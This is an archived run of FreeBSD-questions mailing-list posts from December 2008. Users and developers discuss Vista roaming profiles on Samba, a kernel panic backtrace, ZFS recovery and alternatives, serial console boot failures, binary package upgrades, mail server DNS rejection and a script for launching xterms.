In-Reply-To: <49342488.2090905@pukruppa.net> References: <49342488.2090905@pukruppa.net> Message-ID: On Mon, Dec 1, 2008 at 10:53 AM, Peter Ulrich Kruppa wrote: > Hello, > > I hope my question isn't too off-topic for this list, but usually some > people come up with good ideas ... > > We have got a FreeBSD Samba Server (set up as PDC) and about 100 WinXP > desktops and laptops. The WinXP machines can log into the network, connect > to home directories and shares and download (roaming) profiles. Everything > works fine with them. > > Now we have purchased 2 new WinVista desktops. Login and shares work all > right, but they can't download the profiles. They will deliver an error > message saying they lack appropriate permissions. > > Any idea what is happening there? > > Thanks for your help and greetings, > > Uli. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > http://lists.samba.org/archive/samba-technical/2007-April/053051.html May the power of Google help your next question's answer. Long story short, Vista's "profile" is incompatible with anything older. It must use a "V2" of the profile. From fbsd.questions at rachie.is-a-geek.net Mon Dec 1 20:50:51 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Mon Dec 1 20:50:58 2008 Subject: Page Fault. In-Reply-To: <20081201122714.D81770@pop.citytel.net> References: <20081201101311.C81770@pop.citytel.net> <200812012031.25424.fbsd.questions@rachie.is-a-geek.net> <20081201122714.D81770@pop.citytel.net> Message-ID: <200812020549.41700.fbsd.questions@rachie.is-a-geek.net> On Monday 01 December 2008 21:34:14 Keith wrote: > On Mon, 1 Dec 2008, Mel wrote: > |->On Monday 01 December 2008 19:32:59 Keith wrote: > |->> > |->> ====== > |->> kernel trap 12 with interrupts disabled > |->> > |->> Fatal trap 12: page fault while in kernel mode > |->> cpuid = 2; apic id = 02 > |->> fault virtual address = 0x104 > |->> fault code = supervisor read, page not present > |->> instruction pointer = 0x20:0xc066ca51 > |->> stack pointer = 0x28:0xe6ec0c90 > |->> frame pointer = 0x28:0xe6ec0c9c > |->> code segment = base 0x0, limit 0xfffff, type 0x1b > |->> = DPL 0, pres 1, def32 1, gran 1 > |->> processor eflags = resume, IOPL = 0 > |->> current process = 9 (thread taskq) > |->> trap number = 12 > |->> panic: page fault > |->> Uptime: 6d6h23m45s > |->> #0 doadump () at pcpu.h:165 > |->> 165 __asm __volatile("movl %%fs:0,%0" : "=r" (td)); > |->> ============ > |->> > |->frame 0 useless. You need the frame after calltrap(). > |->And: > |-> > |->> instruction pointer = 0x20:0xc066ca51 > |->list *0xc066ca51 > |-> > |->Generally a bt will show the needed information. > |->Likely cause: file system corruption, caused by background_fsck, but a > |->backtrace should show more. > > Ok, so how does one fix corruption if that is the case? Here is a > backtrace, but means nothing to me unfortunately. > > (kgdb) backtrace > #0 doadump () at pcpu.h:165 > #1 0xc067582a in boot (howto=260) at ../../../kern/kern_shutdown.c:409 > #2 0xc0675b51 in panic (fmt=0xc08f090b "%s") at > ../../../kern/kern_shutdown.c:565 > > #3 0xc0899f1c in trap_fatal (frame=0xe6ec0c50, eva=260) at > ../../../i386/i386/trap.c:837 > > #4 0xc089968e in trap (frame={tf_fs = 8, tf_es = -920256472, tf_ds = > -420741080, tf_edi = -936184704, tf_esi = 4, tf_ebp = -420737892, tf_isp > = -420737924, tf_ebx = -920236452, tf_edx = 6, tf_ecx = -936306488, tf_eax > = 1, tf_trapno = 12, tf_err = 0, tf_eip = -1067005359, tf_cs = 32, > tf_eflags = 65538, tf_esp = -930065784, tf_ss = 4}) at > ../../../i386/i386/trap.c:270 > > #5 0xc08859ca in calltrap () at ../../../i386/i386/exception.s:139 > > #6 0xc066ca51 in _mtx_lock_sleep (m=0xc9264e5c, tid=3358782592, opts=0, > file=0x0, line=0) at ../../../kern/kern_mutex.c:546 > > #7 0xc06bbdb6 in unp_gc (arg=0x0, pending=1) at > ../../../kern/uipc_usrreq.c:1714 This has been fixed: http://www.freebsd.org/cgi/query-pr.cgi?pr=113823 -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From valentin.bud at gmail.com Mon Dec 1 22:40:27 2008 From: valentin.bud at gmail.com (Valentin Bud) Date: Mon Dec 1 22:40:33 2008 Subject: Reversing a ZFS mistake In-Reply-To: <5b826e210812011636l71dc6d05n25a14acdd24b396d@mail.gmail.com> References: <5b826e210812011636l71dc6d05n25a14acdd24b396d@mail.gmail.com> Message-ID: <139b44430812012240r7f978643o86c3a80b51b22582@mail.gmail.com> On Tue, Dec 2, 2008 at 2:36 AM, Reinis Ivanovs wrote: > Hello, > > It seems I've made a mistake using ZFS, and now my /usr/local/ is > empty. I wanted to create a snapshot of a directory inside of it, so I > ran "zfs create tank/usr/local" and "zfs create tank/usr/local/www" as Maybe it's just a typo but "zfs create" actually creates a file system (data set), doesn't do a snapshot of a certain directory. > I had seen in the guides I'd been using. That worked, but the > filesystems created were empty. As I found out later, doing what I did > on Solaris would have created the filesystems but not mounted them, > but on FreeBSD they were mounted automatically, and the previous > contents hidden. The question now is, how do I get my files back? The > system is crippled without /usr/local/ and I can't unmount or destroy > it, because it says that the device is busy. Any help would be > appreciated. > > R. > > -- > http://untu.ms/ > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From valentin.bud at gmail.com Mon Dec 1 22:52:50 2008 From: valentin.bud at gmail.com (Valentin Bud) Date: Mon Dec 1 22:52:56 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <200812011321.43430.kirk@strauser.com> References: <200812010959.15647.kirk@strauser.com> <20081201184722.S10680@wojtek.tensor.gdynia.pl> <200812011321.43430.kirk@strauser.com> Message-ID: <139b44430812012252u45786fa6q888cf93d5f65bb67@mail.gmail.com> On Mon, Dec 1, 2008 at 9:21 PM, Kirk Strauser wrote: > On Monday 01 December 2008 11:49:46 Wojciech Puchar wrote: > >> UFS is excellent. your problem is that you like to have "lots of >> filesystems". why don't just make one or one per disk? > > For all the usual reasons: faster fsck, ability to set attributes on each > filesystem (noexec, noatime, ro), a runaway process writing to /tmp won't cause > problems in /var, etc. > > A big local reason is that Amanda is much easier to configure when you're using > a bunch of filesystems because it runs tar with --one-file-system set. If /var > is separate from / and I want to back them up separately, I just tell Amanda > to dump / and /var. If /var is part of / then I have to say "dump / except > for /var (and /tmp and /usr and ...)". Why don't you use the ZFS backup tools: snapshots, zfs send | receive (this in case you have a second box with zfs) or zfs send | [ tar | gzip | bzip ] to compress the snapshot and do whatever you want with it. The snapshots backup file system (data sets) and it's ultra fast: # du -h /home/user 20G /home/user # time zfs snapshot tank/home/user@021208 zfs snapshot tank/home/user@021208 0.00s user 0.00s system 0% cpu 0.855 total Now the compression will take a little more but you get the idea. a great day, v > >> i have one per disk/mirror configuration everywhere except one place where >> i made separate filesystem for /var/spool/squid for some reasons. > > Oh, there are definitely advantages to that setup. It just complicates certain > admin functions (see above). With something like ZFS that makes creating new > filesystems trivially easy, they're nice to use. > >> tell me what's your needs and how many/what disks you have. > > Right now I have a 750GB (with another on order) and a 320GB. The box is a > multi-purpose home server with mail, several websites, and a bunch of local > file streaming (from MP3 and ripped DVDs to Apple's Time Machine storage). > >> UFS is best-performer on real load, runs on almost no RAM, but uses more >> if available for caching. > > That's my main beef with ZFS at the moment. I don't mind if it uses a lot of > RAM - that's what I bought it for! - but that it doesn't seem to use it > effectively (at least on my workload). > > - Kirk > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From lijimlee at gmail.com Mon Dec 1 23:07:48 2008 From: lijimlee at gmail.com (Ji) Date: Mon Dec 1 23:07:56 2008 Subject: mount problem after enabling serial console Message-ID: <8fd8f02c0812012241t2a8517c5n5e5f69d965795b07@mail.gmail.com> Hi all, I ran into a weird problem when enabling serial console on the FreeBSD 7.0. Your help is really appreciated. I installed FreeBSD 7.0 amd64 (from the CD) on a Dell R200, and then enabled the serial console by adding the following to /boot/loader.conf hint.sio.0.flags="0x30" console="comconsole vidconsole" comconsole_speed="9600" boot_multicons="yes" And also replaced the following line on /etc/ttys ttyd0 "/usr/libexec/getty std.9600" dialup off secure with ttyd0 "/usr/libexec/getty std.9600" vt220 on secure. During rebooting, I found that the system hangs with the following messages and interrupt looks totally messed up " ... Trying to mount root from ufs:/dev/ad4s1a Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> ..." And to my surprise, if I keep rebooting again and again without doing any fixing, the problem comes and goes, which confused me. When the problem is not present, the serial console looks working normally. Can anyone help me with that? Thanks a lot. Jim PS. the booting messages ============================================================= Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 7.0-RELEASE #0: Sun Feb 24 10:35:36 UTC 2008 root@driscoll.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: Intel(R) Xeon(R) CPU E3110 @ 3.00GHz (3000.23-MHz K8-class CPU) Origin = "GenuineIntel" Id = 0x10676 Stepping = 6 Features=0xbfebfbff Features2=0x8e3fd> AMD Features=0x20100800 AMD Features2=0x1 Cores per package: 2 ... kbd1 at kbdmux0 ath_hal: 0.9.20.3 (AR5210, AR5211, AR5212, RF5111, RF5112, RF2413, RF5413) hptrr: HPT RocketRAID controller driver v1.1 (Feb 24 2008 10:34:18) cpu0 on motherboard est0: on cpu0 est: CPU supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 613091f06000613 device_attach: est0 attach returned 6 p4tcc0: on cpu0 pcib0: pcibus 0 on motherboard pci0: on pcib0 pcib1: irq 15 at device 1.0 on pci0 pci1: on pcib1 em0: port 0xece0-0xecff mem 0xdfbc0000-0xdfbdffff,0xdfbe0000-0xdfbfffff irq 15 at device 0.0 on pci1 em0: Unable to allocate bus resource: interrupt em0: Allocation of PCI resources failed device_attach: em0 attach returned 6 pcib2: irq 15 at device 28.0 on pci0 pci2: on pcib2 em1: port 0xdce0-0xdcff mem 0xdfcc0000-0xdfcdffff,0xdfce0000-0xdfcfffff irq 15 at device 0.0 on pci2 em1: Unable to allocate bus resource: interrupt em1: Allocation of PCI resources failed device_attach: em1 attach returned 6 pcib3: irq 15 at device 28.4 on pci0 pci3: on pcib3 bge0: mem 0xdfdf0000-0xdfdfffff irq 15 at device 0.0 on pci3 bge0: couldn't map interrupt device_attach: bge0 attach returned 6 pcib4: irq 14 at device 28.5 on pci0 pci4: on pcib4 bge1: mem 0xdfef0000-0xdfefffff irq 14 at device 0.0 on pci4 bge1: couldn't map interrupt device_attach: bge1 attach returned 6 uhci0: port 0xbc60-0xbc7f irq 11 at device 29.0 on pci0 uhci0: Could not allocate irq device_attach: uhci0 attach returned 6 uhci1: port 0xbc80-0xbc9f irq 10 at device 29.1 on pci0 uhci1: Could not allocate irq device_attach: uhci1 attach returned 6 uhci2: port 0xbca0-0xbcbf irq 11 at device 29.2 on pci0 uhci2: Could not allocate irq device_attach: uhci2 attach returned 6 ehci0: mem 0xdfaffc00-0xdfafffff irq 11 at device 29.7 on pci0 ehci0: Could not allocate irq device_attach: ehci0 attach returned 6 pcib5: at device 30.0 on pci0 pci5: on pcib5 vgapci0: port 0xcc00-0xccff mem 0xd0000000-0xd7ffffff,0xdfff0000-0xdfffffff irq 5 at device 5.0 on pci5 isab0: at device 31.0 on pci0 isa0: on isab0 atapci0: port 0xbc30-0xbc37,0xbc28-0xbc2b,0xbc38-0xbc3f,0xbc2c-0xbc2f,0xbc40-0xbc4f,0xbc50-0xbc5f irq 6 at device 31.2 on pci0 atapci0: unable to map interrupt device_attach: atapci0 attach returned 6 orm0: at iomem 0xc0000-0xc8fff,0xc9000-0xc9fff,0xca000-0xcb7ff,0xec000-0xeffff on isa0 atkbdc0: at port 0x60,0x64 on isa0 fdc0: cannot reserve interrupt line ppc0: cannot reserve I/O port range sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0 at port 0x3f8-0x3ff irq 4 flags 0x30 on isa0 sio0: type 16550A, console sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 Timecounter "TSC" frequency 3000226239 Hz quality 800 Timecounters tick every 1.000 msec hptrr: no controller detected. Trying to mount root from ufs:/dev/ad4s1a Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> ? List of GEOM managed disk devices: Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> ufs:ad4s1a Trying to mount root from ufs:ad4s1a Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> ? List of GEOM managed disk devices: Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> ufs:/ad4s1a Trying to mount root from ufs:/ad4s1a Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> From jevv.cr at gmail.com Mon Dec 1 23:08:05 2008 From: jevv.cr at gmail.com (Javier Vasquez) Date: Mon Dec 1 23:08:13 2008 Subject: [freebsd-questions] Looking @ upgrades mechanisms... Message-ID: Hi, I was reading chapter 4 of the handbook, as well as chapters 24 and 26... If I got it clear, I pretty much might get the base system updated by using freebsd-update script. Ports collection can get updated with portsnap, but that doesn't update neither the intalled ports, nor the installed packages. To upgrade the installed ports, portmanager or portmaster or portupgrade can be used... However only portupgrade can be used to upgrade packages, right? Now, can something like "portupgrade -a -PP" to upgrade all packages without building a thing (might be that some don't get updated due to the lack of binary package yet, and in such case would dependencies be managed right)? More into how things work, as ports and pacakages are not part of the base systems, are they somehow associated to a particular release (most probably not)? So that pretty much no matter the release, if packages and ports are kept up to date, they might be the same for all releases? I'm asking these questions since I'm evaluating moving to BSD, but I want to avoid compiling as much as possible since my box is 800MHz piii celeron with just 32KB of cache and 512MB of ram, and for it source based distributions have proven to be too much to handle, so my intention would be to live with binary packages and updates/upgrades only... Also if remaining under -STABLE, is all this possible? Kind of understood that openoffice.org can't be installed with "pkg_add -r", so most probably if living under -STABLE automatic updates for openoffice.org won't show up... So this kinds of answers one previous question about the packages been independent from the base system release, it looks like they aren't... Thanks, -- Javier From jevv.cr at gmail.com Mon Dec 1 23:13:44 2008 From: jevv.cr at gmail.com (Javier Vasquez) Date: Mon Dec 1 23:13:50 2008 Subject: [freebsd-questions] Looking @ upgrades mechanisms... In-Reply-To: References: Message-ID: On 12/2/08, Javier Vasquez wrote: > Hi, > > I was reading chapter 4 of the handbook, as well as chapters 24 and > 26... If I got it clear, I pretty much might get the base system > updated by using freebsd-update script. Ports collection can get > updated with portsnap, but that doesn't update neither the intalled > ports, nor the installed packages. To upgrade the installed ports, > portmanager or portmaster or portupgrade can be used... However only > portupgrade can be used to upgrade packages, right? > > Now, can something like "portupgrade -a -PP" to upgrade all packages > without building a thing (might be that some don't get updated due to > the lack of binary package yet, and in such case would dependencies be > managed right)? > > More into how things work, as ports and pacakages are not part of the > base systems, are they somehow associated to a particular release > (most probably not)? So that pretty much no matter the release, if > packages and ports are kept up to date, they might be the same for all > releases? > > I'm asking these questions since I'm evaluating moving to BSD, but I > want to avoid compiling as much as possible since my box is 800MHz > piii celeron with just 32KB of cache and 512MB of ram, and for it > source based distributions have proven to be too much to handle, so my > intention would be to live with binary packages and updates/upgrades > only... > > Also if remaining under -STABLE, is all this possible? Kind of > understood that openoffice.org can't be installed with "pkg_add -r", > so most probably if living under -STABLE automatic updates for > openoffice.org won't show up... So this kinds of answers one previous > question about the packages been independent from the base system > release, it looks like they aren't... > > Thanks, > > -- > Javier > I forgot to ask to CC me, since I'm not part of the list yet... Thanks, -- Javier From fbsd.questions at rachie.is-a-geek.net Mon Dec 1 23:26:25 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Mon Dec 1 23:26:32 2008 Subject: mount problem after enabling serial console In-Reply-To: <8fd8f02c0812012241t2a8517c5n5e5f69d965795b07@mail.gmail.com> References: <8fd8f02c0812012241t2a8517c5n5e5f69d965795b07@mail.gmail.com> Message-ID: <200812020826.21345.fbsd.questions@rachie.is-a-geek.net> On Tuesday 02 December 2008 07:41:17 Ji wrote: > Hi all, > > I ran into a weird problem when enabling serial console on the FreeBSD > 7.0. Your help is really appreciated. > I installed FreeBSD 7.0 amd64 (from the CD) on a Dell R200, and then > enabled the serial console by adding the following to > /boot/loader.conf > > hint.sio.0.flags="0x30" > console="comconsole vidconsole" > comconsole_speed="9600" > boot_multicons="yes" > > And also replaced the following line on /etc/ttys > > ttyd0 "/usr/libexec/getty std.9600" dialup off secure > > with > > ttyd0 "/usr/libexec/getty std.9600" vt220 on secure. > > During rebooting, I found that the system hangs with the following > messages and interrupt looks totally messed up > > " > ... > Trying to mount root from ufs:/dev/ad4s1a > > Manual root filesystem specification: > : Mount using filesystem > eg. ufs:da0s1a > ? List valid disk boot devices > Abort manual input > > mountroot> > > ..." > > And to my surprise, if I keep rebooting again and again without doing > any fixing, the problem comes and goes, which confused me. > When the problem is not present, the serial console looks working > normally. Can anyone help me with that? Thanks a lot. > > Jim > atapci0: port > 0xbc30-0xbc37,0xbc28-0xbc2b,0xbc38-0xbc3f,0xbc2c-0xbc2f,0xbc40-0xbc4f,0xbc5 >0-0xbc5f irq 6 at device 31.2 on pci0 > atapci0: unable to map interrupt > device_attach: atapci0 attach returned 6 There's your problem. Atapci0 can't get an interrupt, which is the ata controller that controls your disk. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From nslay at comcast.net Mon Dec 1 23:39:58 2008 From: nslay at comcast.net (Nathan Lay) Date: Mon Dec 1 23:40:04 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: References: <200812010959.15647.kirk@strauser.com> Message-ID: <4934E276.3050308@comcast.net> Ivan Voras wrote: > Kirk Strauser wrote: > > >> At this point, I'm almost ready to go back to good ol' UFS2, but I'd hate to >> give up that easy addition of new filesystems. I *could* have a single 700GB >> root FS but that just doesn't seem right. Are there any good, tested GEOM- >> based ways of getting that functionality, perhaps along the lines of using >> something like gvirstor and growfs as needed? >> > > There's nothing as convenient as ZFS (really... anywhere) :( . > > I'm still hoping someone will sponsor development or porting of a widely > used journalling file system like XFS, JFS, even ext3/4 to FreeBSD, but > in the meantime UFS2+SU isn't that bad. Practically the only way to > break it is if you have hardware errors that end up corrupting file > system data. The need to run full fsck occasionally (as opposed to the > softupdates-assisted one) is annoying but 700 GB should be manageable > with 3-4 GB of memory. The softupdates-assisted fsck actually works very > well in all but the heaviest loads (i.e. when the server is swamped by > requests immediately after booting). > > You could also try gjournal but benchmark and test it first for your > workload. > > gvirstor is a theoretically good option if you need its specific > functionality, only be doubly sure to benchmark it for your specific > workload as it has some /unusual/ performance characteristics. > > What about DragonFlyBSD's new HAMMER FS? I hear it has similar capabilities as ZFS without the overhead. Though, strangely, I haven't really heard anyone discuss it even though it was released some months ago. Best Regards, Nathan Lay From ebbe.hjorth at gmail.com Mon Dec 1 23:50:33 2008 From: ebbe.hjorth at gmail.com (Ebbe Hjorth) Date: Mon Dec 1 23:50:40 2008 Subject: mx1.freebsd.org Message-ID: <1bd820d80812012338v6c4c8926ncc24838956fa9ee7@mail.gmail.com> Hi, My postfix mail servers shows to messages in the queue saying (host mx1.FreeBSD.org[69.147.83.52] said: 450 4.7.1 Client host rejected: cannot find your hostname, [86.58.167.132] (in reply to RCPT TO command)) But when i do a lookup or a reverse lookup, i find my hostname, also from work and other ip, not only local ;) Does mx1.freebsd.org have an old dns? - This affects me sending mail to all the freebsd lists. / Ebbe From leslie at eskk.nu Mon Dec 1 23:51:21 2008 From: leslie at eskk.nu (Leslie Jensen) Date: Mon Dec 1 23:51:29 2008 Subject: Uninstalling kde3 meta-port Message-ID: <4934E5DA.6040308@eskk.nu> Hi How would you guys uninstall a meta-port? I'm considering a move to kde4 but I want a clean install, so I want to remove the kde3 meta-port first. Thanks /Leslie From lijimlee at gmail.com Mon Dec 1 23:53:00 2008 From: lijimlee at gmail.com (Ji) Date: Mon Dec 1 23:53:07 2008 Subject: mount problem after enabling serial console In-Reply-To: <200812020826.21345.fbsd.questions@rachie.is-a-geek.net> References: <8fd8f02c0812012241t2a8517c5n5e5f69d965795b07@mail.gmail.com> <200812020826.21345.fbsd.questions@rachie.is-a-geek.net> Message-ID: <8fd8f02c0812012352y6b4aca89v6d7b1355c3ab95f@mail.gmail.com> Thank you for your reply, Mel. There must be something wrong. What confused me is why the booting problem does not appear every time I reboot the computer and the serial console does work fine if it can boot. And I will really appreciate if you can specify my problem. Thanks a lot. Jim On Mon, Dec 1, 2008 at 11:26 PM, Mel wrote: > On Tuesday 02 December 2008 07:41:17 Ji wrote: >> Hi all, ... > >> atapci0: port >> 0xbc30-0xbc37,0xbc28-0xbc2b,0xbc38-0xbc3f,0xbc2c-0xbc2f,0xbc40-0xbc4f,0xbc5 >>0-0xbc5f irq 6 at device 31.2 on pci0 >> atapci0: unable to map interrupt >> device_attach: atapci0 attach returned 6 > > There's your problem. Atapci0 can't get an interrupt, which is the ata > controller that controls your disk. > > -- > Mel > > Problem with today's modular software: they start with the modules > and never get to the software part. > From on at cs.ait.ac.th Mon Dec 1 23:59:01 2008 From: on at cs.ait.ac.th (Olivier Nicole) Date: Mon Dec 1 23:59:08 2008 Subject: mx1.freebsd.org In-Reply-To: <1bd820d80812012338v6c4c8926ncc24838956fa9ee7@mail.gmail.com> (ebbe.hjorth@gmail.com) References: <1bd820d80812012338v6c4c8926ncc24838956fa9ee7@mail.gmail.com> Message-ID: <200812020758.mB27wxOk079265@banyan.cs.ait.ac.th> Hi, > My postfix mail servers shows to messages in the queue saying > > (host mx1.FreeBSD.org[69.147.83.52] said: 450 4.7.1 Client host rejected: > cannot find your hostname, [86.58.167.132] (in reply to RCPT TO command)) > > But when i do a lookup or a reverse lookup, i find my hostname, also > from work and other ip, not only local ;) I am not sure if that helps but: dig -x 86.58.167.132 ;; ANSWER SECTION: 132.167.58.86.in-addr.arpa. 3600 IN PTR apz.dk. dig apz.dk ;; ANSWER SECTION: apz.dk. 3600 IN A 86.58.131.227 I am not sure if that's the expected result. olivier From beech at freebsd.org Tue Dec 2 00:04:58 2008 From: beech at freebsd.org (Beech Rintoul) Date: Tue Dec 2 00:05:04 2008 Subject: [freebsd-questions] Looking @ upgrades mechanisms... In-Reply-To: References: Message-ID: <200812012304.56334.beech@freebsd.org> On Monday 01 December 2008 21:43:08 Javier Vasquez wrote: > On 12/2/08, Javier Vasquez wrote: > > Hi, > > > > I was reading chapter 4 of the handbook, as well as chapters 24 and > > 26... If I got it clear, I pretty much might get the base system > > updated by using freebsd-update script. Ports collection can get > > updated with portsnap, but that doesn't update neither the installed > > ports, nor the installed packages. To upgrade the installed ports, > > portmanager or portmaster or portupgrade can be used... However only > > portupgrade can be used to upgrade packages, right? Not sure about the others, I use portupgrade myself. But yes, you can update packages with portupgrade. > > > > Now, can something like "portupgrade -a -PP" to upgrade all packages > > without building a thing (might be that some don't get updated due to > > the lack of binary package yet, and in such case would dependencies be > > managed right)? Not sure what you mean by managed, but if there's no package there would be no dependent ports downloaded. If you do a portupgrade -aP (single "P") it will go look for a package then compile it if it's not available. Compiling really isn't that bad even on an 800MHz box. I did development for two years on a 750MHz box and don't use packages. FreeBSD does a good job tracking dependencies, you just have to do some housecleaning once in awhile. Portupgrade will stop and tell you what to do if if finds something out of whack in your dependencies. It does that before building anything. > > > > More into how things work, as ports and packages are not part of the > > base systems, are they somehow associated to a particular release > > (most probably not)? So that pretty much no matter the release, if > > packages and ports are kept up to date, they might be the same for all > > releases? There are packages that come with a release, but they are out of date by the time you load the CD anyway. Ports are always the head branch for all versions. The packages for a particular branch tend to lag the updates by up to a couple of weeks although they are built continually. If you want to stay really up to date you need to keep your tree updated with portsnap or csup (part of the base system) and compile them yourself. Another advantage to compiling is you can choose options. The packages are always built with default options which is generally OK, but not always optimal. > > > > I'm asking these questions since I'm evaluating moving to BSD, but I > > want to avoid compiling as much as possible since my box is 800MHz > > piii celeron with just 32KB of cache and 512MB of ram, and for it > > source based distributions have proven to be too much to handle, so my > > intention would be to live with binary packages and updates/upgrades > > only... You can use packages for most ports. There are notable exceptions a port that is restricted by license from redistribution will never be packaged so you have no choice but to compile it yourself. But these are few. > > > > Also if remaining under -STABLE, is all this possible? Kind of > > understood that openoffice.org can't be installed with "pkg_add -r", > > so most probably if living under -STABLE automatic updates for > > openoffice.org won't show up... So this kinds of answers one previous > > question about the packages been independent from the base system > > release, it looks like they aren't... Can't answer about open office, I don't use it. > > > > Thanks, > > > > -- > > Javier YW. Hope I answered some of your questions. Beech -- --------------------------------------------------------------------------------------- Beech Rintoul - FreeBSD Developer - beech@FreeBSD.org /"\ ASCII Ribbon Campaign | FreeBSD Since 4.x \ / - NO HTML/RTF in e-mail | http://people.freebsd.org/~beech X - NO Word docs in e-mail | Skype: akbeech / \ - http://www.FreeBSD.org/releases/7.0R/announce.html --------------------------------------------------------------------------------------- From aggelidis.news at gmail.com Tue Dec 2 00:07:48 2008 From: aggelidis.news at gmail.com (Aggelidis Nikos) Date: Tue Dec 2 00:07:55 2008 Subject: open multiple xterms with script Message-ID: <30fc78250812020007h22ab0dc4if044e46b4f36b00c@mail.gmail.com> hi to all the list, i need some help... Is it possible to open four consoles as root(authenticate yourself once), in each one run a specific program and do this through a script? {bash or python). i want to open 4 xterms in the four corners of the screen. In 3 xterms i want to run specific applications needing root privileges and the last i want it for administrative purposes. what i have so far: sudo xterm -e "path/to/application1" & sudo xterm -e "path/to/application2" & sudo xterm -e "path/to/application3" & sudo xterm But this approach has the following problems: 1) i have only managed to get it to work as sudo not su 2) i haven't managed to position the 4 terminals correctly in the 4 corners of the screen 3) i want to be able to close and restart a single terminal.without running again the whole script (this i am not sure if it is even doable). For example if one of the applications hungs, then i want to be able to restart this application, without running the whole script again. thanks in advance for your help, nicolas From fbsd.questions at rachie.is-a-geek.net Tue Dec 2 00:10:42 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Tue Dec 2 00:10:49 2008 Subject: mount problem after enabling serial console In-Reply-To: <8fd8f02c0812012352y6b4aca89v6d7b1355c3ab95f@mail.gmail.com> References: <8fd8f02c0812012241t2a8517c5n5e5f69d965795b07@mail.gmail.com> <200812020826.21345.fbsd.questions@rachie.is-a-geek.net> <8fd8f02c0812012352y6b4aca89v6d7b1355c3ab95f@mail.gmail.com> Message-ID: <200812020910.38815.fbsd.questions@rachie.is-a-geek.net> On Tuesday 02 December 2008 08:52:58 Ji wrote: > On Mon, Dec 1, 2008 at 11:26 PM, Mel > > wrote: > > On Tuesday 02 December 2008 07:41:17 Ji wrote: > >> Hi all, > > ... > > >> atapci0: port > >> 0xbc30-0xbc37,0xbc28-0xbc2b,0xbc38-0xbc3f,0xbc2c-0xbc2f,0xbc40-0xbc4f,0x > >>bc5 0-0xbc5f irq 6 at device 31.2 on pci0 > >> atapci0: unable to map interrupt > >> device_attach: atapci0 attach returned 6 > > > > There's your problem. Atapci0 can't get an interrupt, which is the ata > > controller that controls your disk. > > > Thank you for your reply, Mel. > > There must be something wrong. What confused me is why the booting > problem does not appear every time I reboot the computer and the > serial console does work fine if it can boot. > And I will really appreciate if you can specify my problem. Thanks a lot. I'm not sure. Your controller doesn't always get an interrupt, so could be the serial console and atapci bridge fight for it and who ever is first gets it. I would scoot this over to freebsd-hardware list and post a verbose boot without the serial console enabled and with. Also mention if your BIOS has an "Enhanced" or "AHCI" setting for the disk controllers and whether MSI interrupts are supported and enabled. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From fbsd.questions at rachie.is-a-geek.net Tue Dec 2 00:28:51 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Tue Dec 2 00:28:58 2008 Subject: [freebsd-questions] Looking @ upgrades mechanisms... In-Reply-To: <200812012304.56334.beech@freebsd.org> References: <200812012304.56334.beech@freebsd.org> Message-ID: <200812020928.46110.fbsd.questions@rachie.is-a-geek.net> On Tuesday 02 December 2008 09:04:56 Beech Rintoul wrote: > On Monday 01 December 2008 21:43:08 Javier Vasquez wrote: > > On 12/2/08, Javier Vasquez wrote: > > > Hi, > > > > > > I was reading chapter 4 of the handbook, as well as chapters 24 and > > > 26... If I got it clear, I pretty much might get the base system > > > updated by using freebsd-update script. Ports collection can get > > > updated with portsnap, but that doesn't update neither the installed > > > ports, nor the installed packages. To upgrade the installed ports, > > > portmanager or portmaster or portupgrade can be used... However only > > > portupgrade can be used to upgrade packages, right? > > Not sure about the others, I use portupgrade myself. But yes, you can > update packages with portupgrade. > > > > Now, can something like "portupgrade -a -PP" to upgrade all packages > > > without building a thing (might be that some don't get updated due to > > > the lack of binary package yet, and in such case would dependencies be > > > managed right)? > > Not sure what you mean by managed, but if there's no package there would be > no dependent ports downloaded. If you do a portupgrade -aP (single "P") it > will go look for a package then compile it if it's not available. Compiling > really isn't that bad even on an 800MHz box. Portupgrade -PP is detrimental for bandwidth. It's not really portupgrade's fault (well, partially, it shouldn't offer the feature), because it will quite often download Latest/foo.tbz, unpack it entirely and then say "oops, I downloaded this useless package which is older or equal to what you have installed". When i started writing my own tools I quickly realized that the buildserver needs an index of the /packages/ it has. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From freebsd at edvax.de Tue Dec 2 00:35:53 2008 From: freebsd at 